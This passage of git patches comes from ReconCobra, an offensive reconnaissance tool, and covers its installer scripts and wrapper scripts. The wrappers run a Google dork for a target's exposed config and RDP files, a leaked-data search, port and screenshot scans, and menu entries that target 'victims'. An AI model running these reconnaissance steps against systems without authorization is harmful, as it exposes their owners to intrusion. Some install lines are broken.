warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + +#!/bin/bash + +red="\e[0;31m" +green="\e[0;32m" +off="\e[0m" + +function banner() { +clear +echo " "; +echo " "; +echo " "; +echo " .########...########..######.....#######...##....##.....######.....#######....######....########......########.. "; +echo " .##.....##..##.......##....##..##.....##..###...##....##....##...##.....##...##...##...##.....##....##.....##. "; +echo " .##.....##..##.......##........##.....##..####..##....##.........##.....##...##..##....##......##...##.....##. "; +echo " .########...######...##........##.....##..##.##.##....##.........##.....##...##..##....#########....#########. "; +echo " .##...##....##.......##........##.....##..##..####....##.........##.....##...##...##...##....##.....##.....##. "; +echo " .##....##...##.......##....##..##.....##..##...###....##....##...##.....##...##...###..##.....##....##.....##. "; +echo " .##.....##..########..######....#######...##....##.....######.....#######....#######...##......##...##.....##. "; +echo " Ultimate Recon and Foot Printing Software Version 1.0a "; +echo " [Coded By: Haroon Awan] "; +echo " [Contact: mrharoonawan@gmail.com] "; +echo " "; +echo " "; +echo " "; +} + +function linux() { +echo -e "$red [$green+$red]$off Installing Perl ..."; +sudo apt-get install -y perl +echo -e "$red [$green+$red]$off Installing JSON Module ..."; +cpan install JSON +echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; +echo "y" | cpan install WWW::Mechanize +echo "y" | cpan install use HTML::TokeParser +echo "y" | cpan install Term::ANSIColor +echo "y" | cpan install Mojo::DOM +echo "y" | cpan install Data::Dumper +echo "y" | cpan install Win32::Console::ANSI +echo "y" | cpan install HTML::TableExtract +echo "y" | cpan install Data::Validate::Domain +echo "y" | cpan install LWP::Protocol::https +echo "y" | cpan install Mozilla::CA +echo "y" | cpan install Bundle::LWP + +echo -e "$red [$green+$red]$off Checking directories..." +if [ -d "/usr/share/ReconCobra" ]; then + echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; + read replace + if [ "$replace" = "Y" ]; then + sudo rm -r "/usr/share/ReconCobra" + sudo rm "/usr/share/icons/ReconCobra.png" + sudo rm "/usr/share/applications/ReconCobra.desktop" + sudo rm "/usr/local/bin/ReconCobra" + +else +echo -e "$red [$green+$red]$off If You Want To Install You Must Remove Previous Installations"; + exit + fi +fi + +echo -e "$red [$green+$red]$off Installing ..."; +echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; +echo -e "#!/bin/bash +perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; + chmod +x "ReconCobra"; + sudo mkdir "/usr/share/ReconCobra" + sudo cp "installer.sh" "/usr/share/ReconCobra" + sudo cp "ReconCobra.pl" "/usr/share/ReconCobra" + sudo cp "config/ReconCobra.jpeg" "/usr/share/icons" + sudo cp "config/ReconCobra.desktop" "/usr/share/applications" + sudo cp "ReconCobra" "/usr/local/bin/" + rm "ReconCobra"; + +echo "y" | apt-get install xdg-utils +echo "y" | apt-get install python-yaml +echo "y" | apt-get install hping3 +echo "y" | apt-get install python3 +echo "y" | apt-get install golang +echo "y" | apt-get install curl +echo "y" | apt-get install perl-LWP-Protocol-https +echo "y" | git clone https://github.com/haroonawanofficial/cobra.git +echo "y" | git clone https://github.com/haroonawanofficial/maahro.git +echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git +echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git +echo "y" | git clone https://github.com/exiftool/exiftool.git +echo "y" | git clone https://github.com/sensepost/BiLE-suite.git +echo "y" | git clone https://github.com/haroonawanofficial/vasl.git +echo "y" | git clone https://github.com/haroonawanofficial/panthera.git +echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git +echo "y" | apt-get install nmap +pip install requests +pip install request +cd SearchEngineScrapy +pip install -r requirements.txt +sudo virtualenv --python="2" env +sudo env/bin/activate +cd .. +echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git +cd EyeWitness/setup +chmod u+x setup.sh +./setup.sh + + +if [ -d "/usr/share/ReconCobra" ] ; +then +echo -e "$red [$green+$red]$off ReconCobra Successfully Installed, Starting"; +sleep 2; +ReconCobra +else +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; + exit +fi +} + +if [ -d "/usr/bin/" ];then +banner +echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; +linux +else +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; + exit +fi diff --git a/inteli.sh b/inteli.sh index 6b07813..7eb1458 100644 --- a/inteli.sh +++ b/inteli.sh @@ -1,5 +1,4 @@ #!/bin/bash -apt-get install xdg-utils TARGET="$1" BROWSER="xdg-open" VER="1.9" @@ -10,10 +9,7 @@ OKORANGE='\033[93m' DELAY=1 RESET='\e[0m' -if [ -z $TARGET ]; then - echo -e "$OKORANGE + -- --=[Usage: inteli.sh $RESET" - exit -fi +echo "Enter Target" +read Target -# LOAD WEBSITE IN A WEB BROSER -$BROWSER "https://intelx.io/?s=$TARGET" 2> /dev/null +$BROWSER "https://intelx.io/?s=$Target" 2> /dev/null diff --git a/maahro.sh b/maahro.sh new file mode 100644 index 0000000..ad9d018 --- /dev/null +++ b/maahro.sh @@ -0,0 +1,3 @@ +#!/bin/bash +cd maahro +perl maahro.pl \ No newline at end of file diff --git a/passive.sh b/passive.sh index be11b09..ad261da 100644 --- a/passive.sh +++ b/passive.sh @@ -1,5 +1,4 @@ #!/bin/bash -#apt-get install xdg-utils TARGET="$1" BROWSER="xdg-open" VER="1.9" @@ -10,10 +9,5 @@ OKORANGE='\033[93m' DELAY=1 RESET='\e[0m' -if [ -z $TARGET ]; then - echo -e "$OKORANGE + -- --=[Usage: passive.sh $RESET" - exit -fi - # LOAD WEBSITE IN A WEB BROSER $BROWSER "https://passivedns.mnemonic.no" 2> /dev/null \ No newline at end of file diff --git a/screenshot.sh b/screenshot.sh index 1d44874..3753d96 100644 --- a/screenshot.sh +++ b/screenshot.sh @@ -3,4 +3,4 @@ echo "Hint: Do Port Scan before using this tool" echo "Hint: Do Net Block Scan before using this tool" cd EyeWitness python EyeWitness.py -f /root/urls.txt -d screens --rdp --web --vnc --active-scan --add-http-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' --add-https-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' -cd .. +cd .. \ No newline at end of file diff --git a/shaheenx.sh b/shaheenx.sh new file mode 100644 index 0000000..96f74d1 --- /dev/null +++ b/shaheenx.sh @@ -0,0 +1,3 @@ +#!/bin/bash +cd ShaheenX +perl ShaheenX.pl \ No newline at end of file diff --git a/sitemap.sh b/sitemap.sh index 3d19db9..3362056 100644 --- a/sitemap.sh +++ b/sitemap.sh @@ -1,5 +1,4 @@ #!/bin/bash -apt-get install xdg-utils TARGET="$1" BROWSER="xdg-open" VER="1.9" @@ -10,11 +9,8 @@ OKORANGE='\033[93m' DELAY=1 RESET='\e[0m' -if [ -z $TARGET ]; then - echo -e "$OKORANGE + -- --=[Usage: sitemap.sh $RESET" - exit -fi - +echo "Enter Target" +read Target # LOAD WEBSITE IN A WEB BROSER -$BROWSER "https://www.google.com/search?q=site:$TARGET+ext:xml+|+ext:conf+|+ext:cnf+|+ext:reg+|+ext:inf+|+ext:rdp+|+ext:cfg+|+ext:txt+|+ext:ora+|+ext:ini" 2> /dev/null +$BROWSER "https://www.google.com/search?q=site:$Target+ext:xml+|+ext:conf+|+ext:cnf+|+ext:reg+|+ext:inf+|+ext:rdp+|+ext:cfg+|+ext:txt+|+ext:ora+|+ext:ini" 2> /dev/null diff --git a/sss.sh b/sss.sh index b38a702..5a7220b 100644 --- a/sss.sh +++ b/sss.sh @@ -9,11 +9,8 @@ OKORANGE='\033[93m' DELAY=1 RESET='\e[0m' -if [ -z $TARGET ]; then - echo -e "$OKORANGE + -- --=[Usage: sss.sh $RESET" - exit -fi - +echo "Enter Target" +read Target # LOAD WEBSITE IN A WEB BROSER -$BROWSER "https://www.social-searcher.com/google-social-search/?q=$TARGET&fb=on&tw=on&gp=on&in=on&li=on&pi=on" 2> /dev/null +$BROWSER "https://www.social-searcher.com/google-social-search/?q=$Target&fb=on&tw=on&gp=on&in=on&li=on&pi=on" 2> /dev/null From 1313b12f35f0ae4086ee284c033a6e1e07c1f4ff Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 00:26:06 +0500 Subject: [PATCH 053/272] Delete installerbackup.sh --- installerbackup.sh | 142 --------------------------------------------- 1 file changed, 142 deletions(-) delete mode 100644 installerbackup.sh diff --git a/installerbackup.sh b/installerbackup.sh deleted file mode 100644 index 28fff4f..0000000 --- a/installerbackup.sh +++ /dev/null @@ -1,142 +0,0 @@ -# *************************************************************************************** # -# ---------------------------------- EULA NOTICE ---------------------------------------- # -# Agreement between "Haroon Awan" and "You"(user). # -# ---------------------------------- EULA NOTICE ---------------------------------------- # -# 1. By using this piece of software your bound to these point. # -# 2. This an End User License Agreement (EULA) is a legal between a software application # -# author "Haroon Awan" and (YOU) user of this software. # -# 3. This software application grants users rights to use for any purpose or modify and # -# redistribute creative works. # -# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # -# what you do with by/this software as your free to use this software. # -# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # -# crime or using it in un-authorized environment. # -# 6. You can use this software to protect and secure your data information in any # -# environment. # -# 7. It can also be used in state of being protection against the unauthorized use of # -# information. # -# 8. It can be used to take measures achieve protection. # -# *************************************************************************************** # - -#!/bin/bash - -red="\e[0;31m" -green="\e[0;32m" -off="\e[0m" - -function banner() { -clear -echo " "; -echo " "; -echo " "; -echo " .########...########..######.....#######...##....##.....######.....#######....######....########......########.. "; -echo " .##.....##..##.......##....##..##.....##..###...##....##....##...##.....##...##...##...##.....##....##.....##. "; -echo " .##.....##..##.......##........##.....##..####..##....##.........##.....##...##..##....##......##...##.....##. "; -echo " .########...######...##........##.....##..##.##.##....##.........##.....##...##..##....#########....#########. "; -echo " .##...##....##.......##........##.....##..##..####....##.........##.....##...##...##...##....##.....##.....##. "; -echo " .##....##...##.......##....##..##.....##..##...###....##....##...##.....##...##...###..##.....##....##.....##. "; -echo " .##.....##..########..######....#######...##....##.....######.....#######....#######...##......##...##.....##. "; -echo " Ultimate Recon and Foot Printing Software Version 1.0a "; -echo " [Coded By: Haroon Awan] "; -echo " [Contact: mrharoonawan@gmail.com] "; -echo " "; -echo " "; -echo " "; -} - -function linux() { -echo -e "$red [$green+$red]$off Installing Perl ..."; -sudo apt-get install -y perl -echo -e "$red [$green+$red]$off Installing JSON Module ..."; -cpan install JSON -echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; -echo "y" | cpan install WWW::Mechanize -echo "y" | cpan install use HTML::TokeParser -echo "y" | cpan install Term::ANSIColor -echo "y" | cpan install Mojo::DOM -echo "y" | cpan install Data::Dumper -echo "y" | cpan install Win32::Console::ANSI -echo "y" | cpan install HTML::TableExtract -echo "y" | cpan install Data::Validate::Domain -echo "y" | cpan install LWP::Protocol::https -echo "y" | cpan install Mozilla::CA -echo "y" | cpan install Bundle::LWP - -echo -e "$red [$green+$red]$off Checking directories..." -if [ -d "/usr/share/ReconCobra" ]; then - echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; - read replace - if [ "$replace" = "Y" ]; then - sudo rm -r "/usr/share/ReconCobra" - sudo rm "/usr/share/icons/ReconCobra.png" - sudo rm "/usr/share/applications/ReconCobra.desktop" - sudo rm "/usr/local/bin/ReconCobra" - -else -echo -e "$red [$green+$red]$off If You Want To Install You Must Remove Previous Installations"; - exit - fi -fi - -echo -e "$red [$green+$red]$off Installing ..."; -echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; -echo -e "#!/bin/bash -perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; - chmod +x "ReconCobra"; - sudo mkdir "/usr/share/ReconCobra" - sudo cp "installer.sh" "/usr/share/ReconCobra" - sudo cp "ReconCobra.pl" "/usr/share/ReconCobra" - sudo cp "config/ReconCobra.jpeg" "/usr/share/icons" - sudo cp "config/ReconCobra.desktop" "/usr/share/applications" - sudo cp "ReconCobra" "/usr/local/bin/" - rm "ReconCobra"; - -echo "y" | apt-get install xdg-utils -echo "y" | apt-get install python-yaml -echo "y" | apt-get install hping3 -echo "y" | apt-get install python3 -echo "y" | apt-get install golang -echo "y" | apt-get install curl -echo "y" | apt-get install perl-LWP-Protocol-https -echo "y" | git clone https://github.com/haroonawanofficial/cobra.git -echo "y" | git clone https://github.com/haroonawanofficial/maahro.git -echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git -echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git -echo "y" | git clone https://github.com/exiftool/exiftool.git -echo "y" | git clone https://github.com/sensepost/BiLE-suite.git -echo "y" | git clone https://github.com/haroonawanofficial/vasl.git -echo "y" | git clone https://github.com/haroonawanofficial/panthera.git -echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git -echo "y" | apt-get install nmap -pip install requests -pip install request -cd SearchEngineScrapy -pip install -r requirements.txt -sudo virtualenv --python="2" env -sudo env/bin/activate -cd .. -echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git -cd EyeWitness/setup -chmod u+x setup.sh -./setup.sh - - -if [ -d "/usr/share/ReconCobra" ] ; -then -echo -e "$red [$green+$red]$off ReconCobra Successfully Installed, Starting"; -sleep 2; -ReconCobra -else -echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; - exit -fi -} - -if [ -d "/usr/bin/" ];then -banner -echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; -linux -else -echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; - exit -fi From e7d0d64fe99ad12f7731eb4f98757f5821334c1b Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 00:26:33 +0500 Subject: [PATCH 054/272] Delete copyinstaller.sh --- copyinstaller.sh | 133 ----------------------------------------------- 1 file changed, 133 deletions(-) delete mode 100644 copyinstaller.sh diff --git a/copyinstaller.sh b/copyinstaller.sh deleted file mode 100644 index 31833fb..0000000 --- a/copyinstaller.sh +++ /dev/null @@ -1,133 +0,0 @@ -# *************************************************************************************** # -# ---------------------------------- EULA NOTICE ---------------------------------------- # -# Agreement between "Haroon Awan" and "You"(user). # -# ---------------------------------- EULA NOTICE ---------------------------------------- # -# 1. By using this piece of software your bound to these point. # -# 2. This an End User License Agreement (EULA) is a legal between a software application # -# author "Haroon Awan" and (YOU) user of this software. # -# 3. This software application grants users rights to use for any purpose or modify and # -# redistribute creative works. # -# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # -# what you do with by/this software as your free to use this software. # -# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # -# crime or using it in un-authorized environment. # -# 6. You can use this software to protect and secure your data information in any # -# environment. # -# 7. It can also be used in state of being protection against the unauthorized use of # -# information. # -# 8. It can be used to take measures achieve protection. # -# *************************************************************************************** # - -#!/bin/bash - -red="\e[0;31m" -green="\e[0;32m" -off="\e[0m" - -function banner() { -clear -echo " "; -echo " "; -echo " "; -echo " .########...########..######.....#######...##....##.....######.....#######....######....########......########.. "; -echo " .##.....##..##.......##....##..##.....##..###...##....##....##...##.....##...##...##...##.....##....##.....##. "; -echo " .##.....##..##.......##........##.....##..####..##....##.........##.....##...##..##....##......##...##.....##. "; -echo " .########...######...##........##.....##..##.##.##....##.........##.....##...##..##....#########....#########. "; -echo " .##...##....##.......##........##.....##..##..####....##.........##.....##...##...##...##....##.....##.....##. "; -echo " .##....##...##.......##....##..##.....##..##...###....##....##...##.....##...##...###..##.....##....##.....##. "; -echo " .##.....##..########..######....#######...##....##.....######.....#######....#######...##......##...##.....##. "; -echo " Ultimate Recon and Foot Printing Software Version 1.0a "; -echo " [Coded By: Haroon Awan] "; -echo " [Contact: mrharoonawan@gmail.com] "; -echo " "; -echo " "; -echo " "; -} - -function linux() { -echo -e "$red [$green+$red]$off Installing Perl ..."; -sudo apt-get install -y perl -echo -e "$red [$green+$red]$off Installing JSON Module ..."; -cpan install JSON -echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; -echo "y" | cpan install WWW::Mechanize -echo "y" | cpan install use HTML::TokeParser -echo "y" | cpan install Term::ANSIColor -echo "y" | cpan install Mojo::DOM -echo "y" | cpan install Data::Dumper -echo "y" | cpan install Win32::Console::ANSI -echo "y" | cpan install HTML::TableExtract -echo -e "$red [$green+$red]$off Checking directories..." -if [ -d "/usr/share/ReconCobra" ]; then - echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; - read replace - if [ "$replace" = "y" ]; then - sudo rm -r "/usr/share/ReconCobra" - sudo rm "/usr/share/icons/ReconCobra.png" - sudo rm "/usr/share/applications/ReconCobra.desktop" - sudo rm "/usr/local/bin/ReconCobra" - -else -echo -e "$red [$green✘$red]$off If You Want To Install You Must Remove Previous Installations"; -echo -e "$red [$green✘$red]$off Installation Failed"; - exit - fi -fi - -echo -e "$red [$green+$red]$off Installing ..."; -echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; -echo -e "#!/bin/bash -perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "reconcobra"; - chmod +x "reconcobra"; - sudo mkdir "/usr/share/ReconCobra" - sudo cp "install.sh" "/usr/share/ReconCobra" - sudo cp "reconcobra.pl" "/usr/share/ReconCobra" - sudo cp "config/ReconCobra.jpeg" "/usr/share/icons" - sudo cp "config/ReconCobra.desktop" "/usr/share/applications" - sudo cp "reconcobra" "/usr/local/bin/" - rm "reconcobra"; - -echo "y" | apt-get install xdg-utils -echo "y" | apt-get install hping3 -echo "y" | apt-get install python3 -echo "y" | git clone https://github.com/haroonawanofficial/cobra.git -echo "y" | git clone https://github.com/haroonawanofficial/maahro.git -echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git -echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git -echo "y" | git clone https://github.com/exiftool/exiftool.git -echo "y" | git clone https://github.com/sensepost/BiLE-suite.git -echo "y" | https://github.com/haroonawanofficial/vasl.git -echo "y" | git clone https://github.com/haroonawanofficial/panthera.git -echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git -echo "y" | apt-get install nmap -cd SearchEngineScrapy -pip install -r requirements.txt -sudo virtualenv --python="2" env -sudo env/bin/activate -cd .. -echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git -cd EyeWitness/setup -chmod u+x setup.sh -./setup.sh - - -if [ -d "/usr/share/ReconCobra" ] ; -then -echo -e "$red [$green+$red]$off ReconCobra Successfully Installed And Will Start In 5s!"; -echo -e "$red [$green+$red]$off You can execute ReconCobra by typing reconcobra" -sleep 5; -reconcobra -else -echo -e "$red [$green✘$red]$off ReconCobra Cannot Be Installed On Your System! Use It As Portable !"; - exit -fi -} - -if [ -d "/usr/bin/" ];then -banner -echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; -linux -else -echo -e "$red [$green✘$red]$off ReconCobra Cannot Be Installed On Your System! Use It As Portable !"; - exit -fi From 20589a5cd998244f802df1f60ba605af8be6e572 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 00:26:58 +0500 Subject: [PATCH 055/272] Update termuxinstaller.sh --- termuxinstaller.sh | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index 8795be2..6df793a 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -67,6 +67,7 @@ echo "y" | apt-get install hping3 echo "y" | apt-get install python echo "y" | apt-get install golang echo "y" | apt-get install curl +echo "y" | apt-get install cargo echo "y" | apt-get install perl-LWP-Protocol-https echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git @@ -74,6 +75,10 @@ echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git +echo "y" | git clone https://github.com/heycam/json-describe +cd json-describe +cargo install +cd .. echo "y" | https://github.com/haroonawanofficial/vasl.git echo "y" | apt-get install nmap echo "y" | git clone https://github.com/haroonawanofficial/panthera.git @@ -91,4 +96,4 @@ chmod u+x setup.sh ./setup.sh cd .. chmod u+x *.sh -echo -e "Installed, run perl ReconCobra.pl for interface!"; \ No newline at end of file +echo -e "Installed, run perl ReconCobra.pl for interface!"; From fc00547f7cecaa948d6f41ed1a69b8f5046e266a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 00:27:18 +0500 Subject: [PATCH 056/272] Update installer.sh --- installer.sh | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/installer.sh b/installer.sh index 28fff4f..65c66c0 100644 --- a/installer.sh +++ b/installer.sh @@ -62,6 +62,7 @@ echo "y" | cpan install LWP::Protocol::https echo "y" | cpan install Mozilla::CA echo "y" | cpan install Bundle::LWP + echo -e "$red [$green+$red]$off Checking directories..." if [ -d "/usr/share/ReconCobra" ]; then echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; @@ -92,6 +93,7 @@ perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; rm "ReconCobra"; echo "y" | apt-get install xdg-utils +echo "y" | apt-get install cargo echo "y" | apt-get install python-yaml echo "y" | apt-get install hping3 echo "y" | apt-get install python3 @@ -107,6 +109,10 @@ echo "y" | git clone https://github.com/sensepost/BiLE-suite.git echo "y" | git clone https://github.com/haroonawanofficial/vasl.git echo "y" | git clone https://github.com/haroonawanofficial/panthera.git echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git +echo "y" | git clone https://github.com/heycam/json-describe +cd json-describe +cargo install +cd .. echo "y" | apt-get install nmap pip install requests pip install request From beea5efededd58d2de6cc96e2ae75be15cb03d6a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 00:38:19 +0500 Subject: [PATCH 057/272] Update ReconCobra.pl --- ReconCobra.pl | 86 ++++++++++++++++++++++++++++++--------------------- 1 file changed, 51 insertions(+), 35 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 71d8d7d..a84efe1 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1847,7 +1847,7 @@ sub Subdomainscanner { chomp($enter=); if ($enter =~1) { if (system("./ShaheenX.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make ShaheenX.sh available in same folder\n[~] Command failed\n"; @@ -1855,7 +1855,7 @@ sub Subdomainscanner { } if ($enter =~2) { if (system("./sub1.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make sub1.sh available in same folder\n[~] Command failed\n"; @@ -1869,7 +1869,7 @@ sub Subdomainscanner { #--------------------------------------------------------------# sub Subdomaintakeover { if (system("./takeoverscanner.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make takoverscanner.sh available in same folder\n[~] Command failed\n"; @@ -1883,7 +1883,7 @@ sub Subdomaintakeover { #--------------------------------------------------------------# sub Brutedomain { if (system("./maahro.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make maahro.sh available in same folder\n[~] Command failed\n"; @@ -1898,7 +1898,7 @@ sub Brutednsdomain { print item(),"Browse panthera folder for wordllist files and provide given file list\n"; sleep(5); if (system("perl panthera/dnsbrute.pl") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make Panthera available in same folder\n[~] Command failed\n"; @@ -1911,7 +1911,7 @@ sub Brutednsdomain { #--------------------------------------------------------------# sub Configerrors { if (system("./browser.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make browser.sh in same folder\n[~] Command failed\n"; @@ -1935,7 +1935,7 @@ sub Findasn { #--------------------------------------------------------------# sub Findnetblock { if (system("./netblock.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make netblock.sh in same folder\n[~] Command failed\n"; @@ -1949,7 +1949,7 @@ sub Findnetblock { #--------------------------------------------------------------# sub Capturescreenshots { if (system("./screenshot.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make screenshost.sh in same folder\n[~] Command failed\n"; @@ -1962,7 +1962,7 @@ sub Capturescreenshots { #--------------------------------------------------------------# sub nearestvictim { if (system("./bile.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make bile.sh in same folder\n[~] Command failed\n"; @@ -1976,7 +1976,7 @@ sub nearestvictim { #--------------------------------------------------------------# sub Sweepandnetblock() { if (system("./resolve.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make resolve.sh in same folder\n[~] Command failed\n"; @@ -1991,7 +1991,7 @@ sub Panthera { print item(), "Enter the Panthera Perl Script with path to Load: "; $file=; if (system("perl $file") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make Panthera file available in same folder\n[~] Command failed\n"; @@ -2005,7 +2005,7 @@ sub Panthera { #--------------------------------------------------------------# sub Findemailsandnames { if (system("./email.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make email.sh in same folder\n[~] Command failed\n"; @@ -2019,7 +2019,7 @@ sub Findemailsandnames { #--------------------------------------------------------------# sub Findcontactinformation { if (system("./theharvester.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Did you forget to install the harvester\n[~] Command failed\n"; @@ -2032,7 +2032,7 @@ sub Findcontactinformation { #--------------------------------------------------------------# sub Commonnmapportscan { if (system("./nmapcommonscan.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Did you forget the make input.txt from nmap \n[~] Command failed\n"; @@ -2136,7 +2136,7 @@ sub Findsslbugsandinformation { print "\n\n\n"; print item(), "Starting SSL protocol check\n\n"; if (system("./ssl.sh $fsbi") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "\n",item(),"Make ssl.sh in same folder\n"; @@ -2150,7 +2150,7 @@ sub Findsslbugsandinformation { #--------------------------------------------------------------# sub Extractusersfromftp { if (system("./ftp.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; @@ -2163,7 +2163,7 @@ sub Extractusersfromftp { #--------------------------------------------------------------# sub Extractusersfrompop3 { if (system("./pop3.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "\n",item(),"Make pop3.sh in same folder\n"; @@ -2176,7 +2176,7 @@ sub Extractusersfrompop3 { #--------------------------------------------------------------# sub Extractusersfromimap { if (system("./pop3.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "\n",item(),"Make pop3.sh in same folder\n"; @@ -2190,7 +2190,7 @@ sub Extractusersfromimap { #--------------------------------------------------------------# sub Extractusersfromsmtp { if (system("./pop3.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; @@ -2203,7 +2203,7 @@ sub Extractusersfromsmtp { #--------------------------------------------------------------# sub Extractusersfromform { if (system("./http-form.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; @@ -2231,7 +2231,7 @@ sub Extractusersfromform { #--------------------------------------------------------------# sub Extractfullpossibleinformationfromsnmp { if (system("./snmp.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make snmp.sh available in same folder\n[~] Command failed\n"; @@ -2244,7 +2244,7 @@ sub Extractfullpossibleinformationfromsnmp { #--------------------------------------------------------------# sub Extractpossibleinformationfromcertificaties { if (system("./crtstart.sh ") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make crt.sh available in same folder\n[~] Command failed\n"; @@ -2257,7 +2257,7 @@ sub Extractpossibleinformationfromcertificaties { #--------------------------------------------------------------# sub Findvictimhttpsleakeddata { if (system("./inteli.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make inteli.sh available in same folder\n[~] Command failed\n"; @@ -2272,7 +2272,7 @@ sub Findvictimhttpsleakeddata { #--------------------------------------------------------------# sub Findusersfromsitemap { if (system("./sitemap.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make sitemap.sh available in same folder\n[~] Command failed\n"; @@ -2286,7 +2286,7 @@ sub Findvictimhttpsleakeddata { #--------------------------------------------------------------# sub Finddirectoriesfromrobots { if (system("./sitemap.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make sitemap.sh available in same folder\n[~] Command failed\n"; @@ -2327,7 +2327,7 @@ sub Findallaccountsfromuser { #--------------------------------------------------------------# sub Findallaccountsfromemail { if (system("./sss.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make sss.sh available in same folder\n[~] Command failed\n"; @@ -2340,7 